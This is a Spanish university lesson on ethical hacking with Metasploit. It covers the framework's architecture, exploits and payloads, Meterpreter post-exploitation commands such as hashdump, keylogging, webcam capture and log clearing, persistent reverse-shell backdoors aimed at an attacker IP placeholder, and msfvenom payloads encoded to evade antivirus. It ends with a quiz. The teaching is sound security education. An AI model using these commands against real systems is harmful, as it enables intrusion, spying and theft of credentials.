Está en la página 1de 30

Tema 5

Hacking Ético

Metasploit
Índice
Esquema 3

Ideas clave 4
5.1. Introducción y objetivos 4
5.2. Interfaces de Metasploit 4
5.3. Framework y arquitectura de metasploit 10
5.4. Exploits y payloads 12
5.5. Intrusión con y sin interacción 14
© Universidad Internacional de La Rioja (UNIR)

5.6. Meterpreter 19
5.7. msfpayload, msfencode y msfvenom 23
5.8. Lecciones magistrales 26
5.9. Referencias bibliográficas 26

A fondo 27

Test 28
© Universidad Internacional de La Rioja (UNIR)

Tema 5. Esquema
Esquema

Hacking Ético
3
Ideas clave

5.1. Introducción y objetivos

En este tema vamos a introducir uno de los framework más importantes a la hora de
realizar actividades de pentesting. Hablamos de Metasploit, un proyecto de código
abierto que nos proporcionará información acerca de las vulnerabilidades de los
sistemas y además nos facilitará los métodos de explotación y posexplotación.

Para ello, se mostrará la arquitectura de Metasploit y su correcto uso para la


consecución de la explotación y, por tanto, del acceso a las máquinas objetivo.

Objetivos:

 Introducir al estudiante en el conocimiento del framework de Metasploit.


 Estudiar la arquitectura de Metasploit y su jerarquía.
 Comprender y diferenciar los tipos de exploits y payloads disponibles en este
framework.
 Estudiar las diferentes modalidades de intrusión activa y pasiva en una máquina
objetivo.

5.2. Interfaces de Metasploit


© Universidad Internacional de La Rioja (UNIR)

Metasploit es una de las herramientas más potentes para el pentesting. Permite


desarrollar y ejecutar exploits contra una máquina remota, generar shellcodes e
interactuar con la máquina remota.

Hacking Ético
4
Tema 5. Ideas clave
Un exploit es un programa de alto nivel que aprovecha una vulnerabilidad de
seguridad en un sistema informático para causar un fallo en este y provocar
comportamientos maliciosos, como obtener el control remoto de una máquina o la
obtención de privilegios no autorizados.

Una shellcode es un trozo de código en lenguaje ensamblador que tiene como


objetivo ejecutar una shell remota de la máquina de la víctima en la máquina del
atacante. Este código va insertado en un exploit. Con esta Shell, el atacante tendrá
control total de la máquina de la víctima, que normalmente es el objetivo de un
ataque.

Metasploit Framework es una herramienta libre y de código abierto para pruebas


de penetración. Fue iniciada por H. D. Moore en 2003 y luego adquirida por Rapid7.
Las versiones estables de la herramienta están escritas en lenguaje Ruby. Contiene
una base de datos para probar exploits y recibe más de un millón de descargas cada
año. Es de los proyectos más complejos construidos con Ruby hasta la fecha.

Antes de continuar, cabe destacar ciertos términos importantes:

 Vulnerabilidad. Permite a un atacante/pentester romper, ingresar/comprometer


un sistema de seguridad. Estás debilidades existen en sistemas operativos,
aplicaciones de software o cada protocolo de red.

 Exploit. Es un código que permite a un atacante/pentester tomar provecho de


sistemas vulnerables y comprometer la seguridad. Cada vulnerabilidad tiene su
correspondiente exploit. Metasploit v4 tuvo más de 700 exploits.
© Universidad Internacional de La Rioja (UNIR)

 Payload. Es un código que trabaja actualmente y corre en el sistema una vez


pasada la explotación. Es la más usada para establecer una conexión entre el
atacante y la máquina de la víctima. Metasploit v4 tuvo más de 250 payloads.

Hacking Ético
5
Tema 5. Ideas clave
 Módulos. Los módulos son pequeños bloques que construyen un sistema
completo. Cada módulo se compone de tareas específicas que construyen un
sistema completo al combinar varios módulos que funcionan como uno solo. El
mayor beneficio de cada arquitectura es la facilidad para los desarrolladores de
integrar un nuevo exploit y herramientas para esta gran herramienta.

Metasploit cuenta con diferentes herramientas para su uso:

 MsfConsole. Es una interfaz por consola, pero es la más usada, ya que permite un
acceso a todas las funcionalidades de Metasploit. Es la que más juego y
flexibilidad da.

Figura 1. Interfaz de msfconsole. Fuente: elaboración propia.


© Universidad Internacional de La Rioja (UNIR)

 Armitage. Una potente herramienta para manejar Metasploit, pero utilizando


interfaz gráfica. No permite tantas funcionalidades como en línea de comandos.

Hacking Ético
6
Tema 5. Ideas clave
Figura 2. Interfaz de Armitage. Fuente: elaboración propia.

 Msfupdate. Nos servirá para actualizar Metasploit en versiones anteriores.

Figura 3. Interfaz de msfupdate. Fuente: elaboración propia.

Actualmente, si lo ejecutamos, nos dirá que usemos otros comandos:


© Universidad Internacional de La Rioja (UNIR)

Figura 4. Apt update. Fuente: elaboración propia.

Hacking Ético
7
Tema 5. Ideas clave
Todas estas herramientas estarán por defecto en Kali Linux. Nosotros utilizaremos
MsfConsole por su versatilidad. A continuación, se explicarán sus diferentes
funciones y comandos:

Figura 5. Msfconsole. Fuente: elaboración propia.

 show all ->Muestra todo.


 show exploits -> Muestra los exploits.
 show payload -> Muestra los payloads. Aquí encontraremos las diferentes
shellcodes. Un payload es el trozo de código que posee la función que queremos
que se ejecute en la máquina remota, como la ejecución de una shellcode, es decir,
una shellcode es un tipo de payload.
 show auxiliary -> Muestra las herramientas auxiliares.
 show encoders -> Muestra los algoritmos que se ejecutan sobre los payloads para
© Universidad Internacional de La Rioja (UNIR)

ocultarlos a los antivirus.


 show options -> Muestra las diferentes opciones sobre un exploit.

Hacking Ético
8
Tema 5. Ideas clave
Figura 6. Salida de show options. Fuente: elaboración propia.

 show advanced -> Igual que options pero opciones avanzadas.


 info -> Nos mostrará información del exploit seleccionado.
 search «palabra» -> Para buscar y acotar con la palabra. Si queremos hacer una
búsqueda más precisa podemos utilizar el parámetro «type».
 use «path_del_exploit» -> Para seleccionar un exploit.
 set «opción» «valor_de_la_opcion» -> Definiremos las opciones requeridas por
los módulos de exploit, payload... Para ver estas opciones usaremos el comando
de show options ya mencionado.
© Universidad Internacional de La Rioja (UNIR)

Figura 7. Preparación y lanzamiento de un exploit. Fuente: elaboración propia.

Hacking Ético
9
Tema 5. Ideas clave
 unset «opción» -> Elimina un parámetro previamente seleccionado con set.
 exploit/run -> Ejecuta el exploit.
 sessions -> Para interactuar con las máquinas explotadas.
 back -> Permite volver atrás en los módulos.
 jobs -> Muestra los trabajos activos.
 kill -> Permite matar trabajos activos.
 help -> Muestra la ayuda.
 load/unload «plugin» -> Carga o descarga un plugin.
 check -> Comprueba si el objetivo es vulnerable al exploit sin necesidad de
lanzarlo antes (no todos los exploits lo incluyen).
 exit -> Sale de la aplicación.

MsfConsole permite ejecutar también algunos procesos de terceros como Nmap,


ping o irb (un intérprete de comandos del lenguaje Ruby). Además, al pulsar el
tabulador mientras escribimos en la línea de comandos mostrará todas las
posibilidades y completará las palabras.

5.3. Framework y arquitectura de metasploit

En Metasploit existen dos tipos de exploits:

 Los activos, aquellos que explotarán una máquina objetivo por fuerza bruta hasta
inyectar el payload o encontrar un error.
 Los pasivos, que esperan a que una máquina víctima se conecte a la máquina host
para explotarlos (suelen ser por los navegadores o los clientes FTP).
© Universidad Internacional de La Rioja (UNIR)

Para entender este tipo de exploits, vamos a explicar la arquitectura de Metasploit y


así entender su correcto uso.

Hacking Ético
10
Tema 5. Ideas clave
La arquitectura de Metasploit consta de tres librerías críticas, que son rex, msf base
y msf core, junto con las diferentes interfaces que ya hemos visto en el apartado
anterior y seis tipos de módulos. En la Figura 8 podemos visualizar la arquitectura de
Metasploit:

Figura 8. Arquitectura de metasploit. Fuente: Packtub, s. f.

La librería rex es la básica y se encarga de la mayoría de las tareas, manejando


sockets, protocolos (por ejemplo, SSL, SMB, HTTP) y otras operaciones interesantes,
como son las codificaciones (por ejemplo, XOR, Base64 o Unicode).

Las librerías msf core y msf base proporcionan API al framework. Las interfaces,
módulos y plugins interactúan con las API base y core que se encuentran en ambas
librerías.

En cuanto a los módulos existentes en Metasploit, podremos encontrar los


siguientes:
© Universidad Internacional de La Rioja (UNIR)

 El módulo auxiliary proporciona herramientas externas al framework para la


integración y utilización con Metasploit. Así, el auditor podrá utilizar escáneres,
herramientas para denegación de servicio, sniffers, fuzzers, etc.

Hacking Ético
11
Tema 5. Ideas clave
 El módulo encoders proporciona codificadores para ofuscar el código de las
shellcodes y, de este modo, evitar que los sistemas antivirus puedan detectar al
payload.

 El módulo exploits es donde se alojan los exploits. Se organizan en categorías, por


sistema operativo o tecnología.

 El módulo de payloads concentra los distintos códigos maliciosos ordenados


también por categorías.

 El módulo de post almacena en su interior código para ejecutar acciones referidas


a las fases de posexplotación, como son la escalada de privilegios, la
personalización de tokens o captura de pruebas sobre la máquina remota.

 El módulo nops contiene código capaz de generar instrucciones NOP para los
códigos maliciosos. Están organizados por arquitectura y lo más normal es
utilizarlo para máquinas x86 o x64.

5.4. Exploits y payloads

Antes de explicar qué es un exploit y qué es un payload por separado, vamos a


explicar la diferencia entre estos conceptos.

Mientras que exploit es un fragmento de código escrito para aprovechar una


vulnerabilidad en particular, un payload es un fragmento de código que se ejecutará
© Universidad Internacional de La Rioja (UNIR)

a través de dicho exploit. Un único exploit puede entregar múltiples cargas útiles a
uno o varios objetivos.

La principal diferencia es que el exploit se aprovecha de un fallo del sistema


operativo, como puede ser una aplicación desactualizada, y no necesitamos

Hacking Ético
12
Tema 5. Ideas clave
interacción con el usuario. Por el contrario, con el payload es necesaria la
interacción, ya que la víctima tiene que ejecutar el archivo malicioso para que
nosotros podamos obtener el control.

Exploit

«Exploit (del inglés exploit, ‘explotar’ o ‘aprovechar’) es un fragmento de


software, fragmento de datos o secuencia de comandos y/o acciones,
utilizada con el fin de aprovechar una vulnerabilidad de seguridad de un
sistema de información para conseguir un comportamiento no deseado del
mismo» (Dragoit, 2016).

En palabras cotidianas, podríamos decir que un exploit es un código malicioso que


aprovecha un fallo de seguridad (vulnerabilidad) que existe en un sistema para
diversos fines (tomar el control de este, hacer un ataque de DOS, etc.)

Payload

Payload es parte del código del exploit que tiene el objetivo de ejecutarse en la
máquina víctima para realizar una acción maliciosa. Podremos entender el
significado de payload con los siguientes ejemplos.

Un payload puede ser el código que se introduce en una máquina a través de


un exploit y el cual permite a un atacante ejecutar código malicioso en la
máquina remota. Ese código puede ser el que implante una shell inversa, es
decir, la máquina víctima lanzará una conexión hacia la máquina del atacante
devolviéndole una línea de comandos para que pueda interactuar con la
máquina vulnerada.

Un payload también puede ser, simplemente, conseguir ejecutar en la máquina


© Universidad Internacional de La Rioja (UNIR)

remota una secuencia de comandos sobre la máquina. Por ejemplo, para


realizar una denegación de servicio sobre una aplicación en una máquina
vulnerable.

Hacking Ético
13
Tema 5. Ideas clave
Existen diferentes tipos de payloads, como son:

 Single. También conocido como inline, son completamente autónomos y realizan


una tarea concreta o específica. Por ejemplo, ejecución de un comando, bind a
una shell, creación de un usuario en el sistema, etc.
 Stagers. Se encargan de generar la comunicación entre el cliente y la víctima y,
usualmente, se utilizan para descargar payloads de tipo staged.
 Staged. Se descargan y son ejecutados por stagers, y frecuentemente son llevados
a cabo para tareas complejas o con gran variedad de funcionalidades, como un
meterpreter. Es decir, los staged utilizan pequeños stagers para ajustarse en
pequeños espacios de memoria donde realizar la explotación.

5.5. Intrusión con y sin interacción

Como hemos visto, los exploits en Metasploit Framework se clasifican en dos


categorías: activos y pasivos.

Los exploits activos explotarán un host específico, se ejecutarán hasta su finalización


y luego se cerrarán.

 Los módulos de fuerza bruta saldrán cuando se abra un caparazón de la víctima.


 La ejecución del módulo se detiene si se encuentra un error.
 Puede forzar un módulo activo a un segundo plano pasando -j al comando de
explotación:
© Universidad Internacional de La Rioja (UNIR)

Figura 9. Ejecución en segundo plano. Fuente: elaboración propia.

Hacking Ético
14
Tema 5. Ideas clave
Los exploits pasivos esperan a los hosts entrantes y los explotan a medida que se
conectan.

 Los exploits pasivos casi siempre se centran en clientes como navegadores web,
clientes FTP, etc.
 También se pueden usar junto con exploits de correo electrónico esperando
conexiones.
 Las vulnerabilidades pasivas informan de los shells a medida que ocurren
pasando -l al comando de sesiones. Añadir -i interactuará con un shell.

Figura 10. Sesión pasiva. Fuente: elaboración propia.

Dentro de la arquitectura de Metasploit, podemos distinguir tres tipos diferentes de


explotación:

Intrusión directa
© Universidad Internacional de La Rioja (UNIR)

Es aquella que no hace falta que el usuario interactúe en ningún momento, por lo
que es la más peligrosa de todas, ya que en ningún momento será consciente del
ataque.

Hacking Ético
15
Tema 5. Ideas clave
En cuanto al tipo de conexión de la shellcode sobre este tipo de ataques, el esquema
es muy claro: el atacante lanza un exploit, ya sea con Metasploit o en algún lenguaje
de programación. El código se ejecuta en la máquina víctima aprovechando dicha
vulnerabilidad y, en función de si es una conexión reversa o si es una conexión de tipo
bind, van a ocurrir dos cosas.

En el caso de tipo reversa, desde el equipo de la víctima se va a establecer una


comunicación hacia el puerto que nosotros hayamos establecido.

En el caso de tipo bind, en vez de usar una comunicación reversa, lo que hace es sacar
un puerto, por ejemplo, el puerto 4444, y queda a la escucha, por lo que un atacante
tendría que ir luego a ese puerto a conectarse.

Client Side.

Como ya hemos visto, el objetivo de un ataque de tipo indirecto es ejecutar código,


en uno de tipo Client-Side también es ejecutar código. La única diferencia es que en
este caso vamos a tener que lograr que el usuario interactúe con nosotros. Ya sea
pinchando en un enlace, ejecutando un fichero, etc.

Hay muchas formas diferentes de usar Metasploit para realizar ataques del lado del
cliente, como por ejemplo:

Binary Payloads

Podemos generar un ejecutable a partir de un payload de Metasploit. Para ello, se


© Universidad Internacional de La Rioja (UNIR)

podrá generar una carga útil de shell inversa, la ejecutaremos en un sistema remoto
y obtendremos nuestro shell. Para hacer esto, usaremos la herramienta de línea de
comandos msfvenom. Este comando se puede usar para generar cargas útiles que
se usarán en muchas ubicaciones y ofrece una variedad de opciones de salida, desde

Hacking Ético
16
Tema 5. Ideas clave
perl hasta C y raw. Estamos interesados en la salida ejecutable, que es proporcionada
por la opción -f exe.
© Universidad Internacional de La Rioja (UNIR)

Hacking Ético
17
Tema 5. Ideas clave
Figura 11. Generación de Binary Payload. Fuente: elaboración propia.

Ahora, vemos que tenemos un ejecutable de Windows listo para funcionar y usaremos
multi / handler, que es un stub que maneja exploits lanzados fuera del framework.

Figura 12. Proceso de explotación. Fuente: elaboración propia.

Explotación local
© Universidad Internacional de La Rioja (UNIR)

En este caso, la diferencia está en el objetivo, ya no es ejecutar código y colarnos en


ese equipo (aquí ya estamos dentro de la máquina, ya sea de forma física o que
hemos obtenido una sesión con meterpreter, por ejemplo). El objetivo es escalar
privilegios, el atacante necesita de mayores privilegios porque, por ejemplo, el

Hacking Ético
18
Tema 5. Ideas clave
usuario no tiene privilegios suficientes para realizar las acciones que deseamos, para
ello buscamos ser usuarios con todos los privilegios posibles: system, root,
administrador, etc.

Entre las posibilidades que nos enfrentamos en un entorno Windows, tenemos tres
ámbitos:

 Administrador real con identificador 500, con este usuario tenemos todos los
privilegios, por lo que podemos pasar a system inmediatamente y llevar a cabo la
impersonación. Este sería el caso ideal.

 Ser usuario del grupo administrador, se ejecutan los procesos como


administrador, pero en ciertos casos forzados, normalmente con el botón
derecho. Estamos en casos de bypass de UAC (User Account Control), el
mecanismo de protección de Windows que nos queremos saltar para que no salga
cada vez que queramos ejecutar con privilegios.

 En el peor caso, tenemos que encontrar una vulnerabilidad o mala configuración


del sistema para obtener el usuario con privilegios en el sistema. Hay muchos
mecanismos y puede ser muy complejo.

5.6. Meterpreter

Los payload más utilizados en los pentesting suelen ser la shell remota y el intérprete
de comandos Meterpreter. Este intérprete tiene muchas funciones y se caracteriza
© Universidad Internacional de La Rioja (UNIR)

porque reside totalmente en memoria RAM para no dejar rastro en el disco duro ni
crear nuevos procesos. Meterpreter se inyecta en el proceso comprometido y puede
migrar a otros procesos en ejecución con facilidad, además de que utiliza
comunicaciones cifradas entre la víctima y el atacante.

Hacking Ético
19
Tema 5. Ideas clave
Ya está incluido con Metasploit e incluye gran número de funcionalidades:

 help -> Mostrará todos los comandos de Metasploit y una breve descripción,
podremos cargar plugins con funcionalidades extra usando el comando load
«plugin». También se mostrará la ayuda de estos plugins con el comando help una

vez se hayan cargado.


 background -> Ejecuta a Meterpreter en segundo plano, se puede acceder a cada
una de las sesiones abiertas con el comando «sessions» visto antes.
 ps -> Muestra los procesos activos.
 sysinfo -> Muestra información del sistema en el que estamos.
 getuid -> Muestra los permisos con los que contamos en la sesión actual.
 getpid -> Indica el pid del proceso al que estamos conectados.
 migrate -> Cuando explotamos una vulnerabilidad de software, si la víctima cierra

la aplicación perderemos la sesión, con este comando migraremos el proceso para


que esto no ocurra.
 ipconfig -> Muestra las interfaces de red y las direcciones de la máquina remota.
 idletime -> Muestra el tiempo de inactividad del usuario remoto.
 pwd/ls/cd/mkdir/rm/rmdir -> Nos permiten movernos por los directorios de la
máquina remota y modificar archivos y carpetas.
 run hashdump -> Obtendrá los hashes de las contraseñas del sistema.
 upload/download -> Para subir y bajar archivos de la máquina remota.
 screenshot -> Hace una captura de pantalla de la máquina víctima.
 run vnc -> Devuelve una sesión gráfica del equipo remoto, pudiendo ver todas las

acciones del usuario.


 keyscan -> Captura las pulsaciones del equipo remoto. Usaremos tres comandos:
keyscan_start/keyscan_dump/keyscan_stop.

 load sniffer -> Cargará el plugin para poder capturar paquetes en la víctima.
© Universidad Internacional de La Rioja (UNIR)

Hacking Ético
20
Tema 5. Ideas clave
Figura 13. Uso de plugins en meterpreter. Fuente: elaboración propia.

 run webcam -> Activará la cámara en el equipo remoto y podremos verla en


directo. Usaremos webcam_list para obtener la lista de webcam conectadas y
webcam_snap para una captura.

 run sound_recorder -> Permite capturar el audio.


 clearev -> Borraremos todo el rastro que podamos dejar en la víctima.
 timestomp -> Permite modificar la fecha de un archivo para ocultarlo.
 run get_application_list -> Devuelve la lista de aplicaciones instaladas.
 reg -> Permite acceder a los valores de los registros de Windows.
 shell -> Obtendremos una shell en la máquina remota.
 run killav -> Desactiva los módulos del antivirus del sistema remoto.

Meterpreter permite más funcionalidades aun, como mantener una conexión


persistente haciendo que la víctima, cada cierto tiempo, compruebe activamente si
la máquina del atacante está para conectarse a ella, o crear una backdoor o puerta
© Universidad Internacional de La Rioja (UNIR)

trasera para que el atacante pueda conectarse cuando desee.

Una backdoor o puerta trasera es una forma para el atacante de conectarse a la


máquina víctima. Puede hacerlo dejando un puerto de la máquina víctima abierto y

Hacking Ético
21
Tema 5. Ideas clave
escuchando, a la espera de que la máquina atacante se conecte y obtenga todos los
privilegios y el control total de esta, o también, creando un proceso en la máquina
víctima que, cada cierto tiempo, intente activamente conectarse a la máquina
atacante, siendo el atacante el que deba estar a la escucha.

Este tipo de funcionalidades no se debe usar a la ligera, ya que a la hora de hacer un


pentest no es conveniente dejar puertas traseras olvidadas y a la víctima no le hará
mucha gracia que puedas acceder siempre a su sistema; al contrario, querrá hacerse
más robusto ante cualquier tipo de ataque.

Utilizaremos el comando run metsvc para crear la puerta trasera y luego nos
conectaremos a ella con el manejador de exploits multi/handler y el payload
metsvc/reverse_bind_tcp.

Para quitar la puerta trasera ejecutaremos el comando run metsvc –r.

meterpreter > run metsvc


meterpreter > exit
msf > use multi/handler
msf > set payload metsvc/reverse_bind_tcp
msf > set lport 31337
msf > set rhost “ip de la víctima”
msf > exploit

Para realizar un backdoor persistente, que intente conectarse al atacante de forma


activa, utilizaremos la función persistence.

run persistence –U –i “time” –p “puerto” –r “ip del atacante”


© Universidad Internacional de La Rioja (UNIR)

time => intervalo de tiempo que intentará conectarse en segundos.

Hacking Ético
22
Tema 5. Ideas clave
Figura 14. Creación de persistencia. Fuente: elaboración propia.

Cuando creemos la conexión persistente nos dirá en qué archivo de nuestra máquina
se encuentra el cleanup para borrar la conexión persistente. Para hacer esto,
usaremos el comando:

run multi_console_command –rc “path del cleanup”

Para conectarnos será como antes, pero esta vez con el payload de meterpreter.

msf > use multi/handler


msf > set payload windows/meterpreter/reverse_tcp
msf > set lport 4444
msf > set lhost “ip del atacante”
msf > exploit

5.7. msfpayload, msfencode y msfvenom

Metasploit también tiene herramientas para generar sus propios payloads o


codificar su código malicioso para que los antivirus no los detecten. Estas
© Universidad Internacional de La Rioja (UNIR)

herramientas son: msfpayload, msfencode y msfvenom (esta última unifica a las otras
dos).

Hacking Ético
23
Tema 5. Ideas clave
Msfpayload

A veces no podremos ejecutar un exploit remotamente para obtener una shell. Por
ello, este módulo nos permitirá generar un payload personalizado para enviárselo a
la víctima. Esta herramienta ya es deprecated pero todas sus funcionalidades las
incluye la herramienta msfvenom.

Msfencode

Para evitar ser detectados por los antivirus, a veces tendremos que codificar los
ficheros infectados. Por ello, esta herramienta permite realizar diferentes
codificaciones tantas veces como se deseen, para hacer pasar desapercibidos a estos
ficheros. También es deprecated y todas sus funcionalidades las incluye msfvenom.

Msfvenom

Esta herramienta es la evolución de las dos anteriores y las unifica en una


herramienta para facilitar la tarea de creación de payloads y su codificación.

Para mostrar la ayuda de la herramienta y sus diferentes opciones usaremos


msfvenom –h.

Para crear únicamente el payload usaremos el comando:

msfvenom –p «payload» –f «formato» > «path para guardarlo»


© Universidad Internacional de La Rioja (UNIR)

Figura 15. Creación de payload. Fuente: elaboración propia.

Hacking Ético
24
Tema 5. Ideas clave
Nos creará un fichero que tendremos que enviar a la víctima por correo, por enlace
web, por algún dispositivo de almacenamiento externo, etc. Nosotros pondremos
nuestra máquina a la escucha y, para ello, usaremos:

use multi/handler

Con set seleccionaremos el payload y las opciones necesarias de este. Cuando


lancemos el exploit se quedará a la escucha de que la máquina víctima abra el archivo
infectado.

Figura 16. Handler a la espera de conexión. Fuente: elaboración propia.

Podremos generar también un payload codificado con el comando:

msfvenom –p «payload» –f «formato» > «path para guardarlo» –e «codificador»


–i «numero de iteraciones a codificar»

Metasploit tiene también un módulo llamado auxiliary con multitud de plugins,


funcionalidades y herramientas extra.
© Universidad Internacional de La Rioja (UNIR)

Hacking Ético
25
Tema 5. Ideas clave
5.8. Lecciones magistrales

En este vídeo, titulado Metasploit, se mostrará la arquitectura de este famoso


framework, una de las herramientas por excelencia para realizar un pentesting, y se
enseñará cómo utilizarlo correctamente para realizar tanto escaneos como ataques.

En este vídeo, titulado Ataque de inyección de teclas, se evidencia un método de


infección de equipos a través de vectores de ataque físico en el que, utilizando un
dispositivo USB que actúa como un teclado, se puede introducir de forma
automatizada un script en un equipo que permita ejecutar la lógica necesaria para el
acceso inicial.

5.9. Referencias bibliográficas

Dragoit. (2016, abril 20). Definición de exploit - ¿Qué son y cómo funciona?
https://dragoit.com/blog/definicion-de-exploit-que-son-y-como-
funciona/#:~:text=Exploit%20%28del%20ingl%C3%A9s%20exploit%2C%20%E2%80
%9Cexplotar%E2%80%9D%20o%20%E2%80%98aprovechar%E2%80%99%29%20es,
para%20conseguir%20un%20comportamiento%20no%20deseado%20del%20mism
© Universidad Internacional de La Rioja (UNIR)

Packtub. (s. f.). Metasploit Penetration Testing Cookbook


https://www.packtpub.com/product/metasploit-penetration-testing-
cookbook/9781849517423

Hacking Ético
26
Tema 5. Ideas clave
A fondo
SEToolkit y Metasploit

SheHacks_KE. (2020, abril 7). Creating a Backdoor using Social Engineering Toolkit
(SET). https://shehackske.medium.com/creating-a-backdoor-using-social-
engineering-toolkit-set-c5ce486aab5

Artículo que nos enseñará la importancia de saber combinar diferentes herramientas


entre sí. SEToolkit permite conectar con Metasploit para llevar a cabo ataques más
sofisticados. En este enlace podrás ver cómo combinar estas dos herramientas.

Metasploit y Nexpose

Developer Bangladesh. (2018, septiembre 8). Lecture 30 NeXpose scanner via metasploit
[Vídeo]. Youtube. https://www.youtube.com/watch?v=eDdSEVQ6bMw

Vídeo explicativo de cómo integrar Nexpose y Metasploit para unificar las etapas de
análisis de vulnerabilidades y la fase de explotación.
© Universidad Internacional de La Rioja (UNIR)

Hacking Ético
27
Tema 5. A fondo
Test
1. Si hablamos de Meterpreter, ¿cuál de las siguientes afirmaciones sería la correcta?
A. No crea ningún proceso nuevo ya que se carga directamente en memoria
RAM.
B. Lo podemos manejar desde Metasploit.
C. Es un intérprete de comandos que nos permite crear un backdoor.
D. Todas las anteriores son correctas.

2. Una shellcode tiene como características:


A. Es una porción de código en lenguaje ensamblador que tiene como objetivo
ejecutar una shell remota de la máquina de la víctima en la máquina del
atacante.
B. Es una porción de código que va insertado en un exploit.
C. Con una shellcode un atacante podrá tener control total de la máquina de la
víctima.
D. Todas son correctas.

3. Un exploit se puede definir como:


A. Un hardware encargado de interrumpir a otro programa durante su
ejecución para conseguir cierto tipo de privilegios.
B. Un binario encargado de escalar privilegios una vez tenemos acceso a la
máquina.
C. Un programa encargado de interrumpir a otro programa durante su
ejecución para conseguir cierto tipo de privilegios.
D. Un binario encargado de embeberse en un payload para abrir un canal de
© Universidad Internacional de La Rioja (UNIR)

comunicación.

Hacking Ético
28
Tema 5. Test
4. Armitage es:
A. Un módulo de Metasploit que nos permite crear canales de comunicaciones
reversos y de tipo bind.
B. Una utilidad que no está incluida en Metasploit ni en Kali Linux y que se debe
ejecutar e instalar por otra vía.
C. Una herramienta que nos permite crear mapas de red para integrarlos con
Metasploit y obtener diagramas de flujo.
D. Una herramienta incluida en Metasploit y que se diferencia en presentar una
interfaz gráfica.

5. Los tipos de payload existentes son:


A. Single, stagers y staged.
B. Single, stagers y statement.
C. Stagers, statement y staged.
D. Single, statement y stagers.

6. ¿Cuál de las siguientes afirmaciones sobre los comandos de Metasploit es


correcta?:
A. Si ejecutamos show payloads nos mostrará todos los módulos para codificar
nuestros exploits.
B. El comando info nos muestra la información sobre la máquina víctima.
C. El comando set definirá las opciones requeridas por cada módulo.
D. Si ejecutamos show payloads nos mostrará todos los módulos para codificar
nuestros payloads.

7. Msfvenom es:
A. Una herramienta integrada en msfpayload para poder generar exploits de
© Universidad Internacional de La Rioja (UNIR)

última generación.
B. Una herramienta de generación de payloads.
C. Una herramienta de generación de exploits.
D. La interfaz web de Metasploit.

Hacking Ético
29
Tema 5. Test
8. Msfencode es:
A. Un exploit para integrar con diferentes herramientas de análisis de
vulnerabilidades.
B. Una herramienta que permite codificar la shellcode para adaptarse a un
objetivo.
C. Una herramienta de generación de exploits.
D. La interfaz web de Metasploit.

9. Cuando infectamos una máquina que se encuentra detrás de una red NAT,
debemos utilizar como mecanismo de conexión:
A. Tipo shell inversa.
B. Tipo escucha TCP.
C. Tipo escucha UDP.
D. Tipo payload.

10. Cuando hemos conseguido tomar el control de una máquina, ¿cuál es la mejor
forma de continuar con nuestra posexplotación?
A. Analizando manualmente el equipo víctima para escalar privilegios.
B. Utilizando exploits locales.
C. Probando nuevos exploits para abrir más vías de entrada.
D. Eliminando la capacidad de conexión a sus usuarios legítimos.
© Universidad Internacional de La Rioja (UNIR)

Hacking Ético
30
Tema 5. Test

También podría gustarte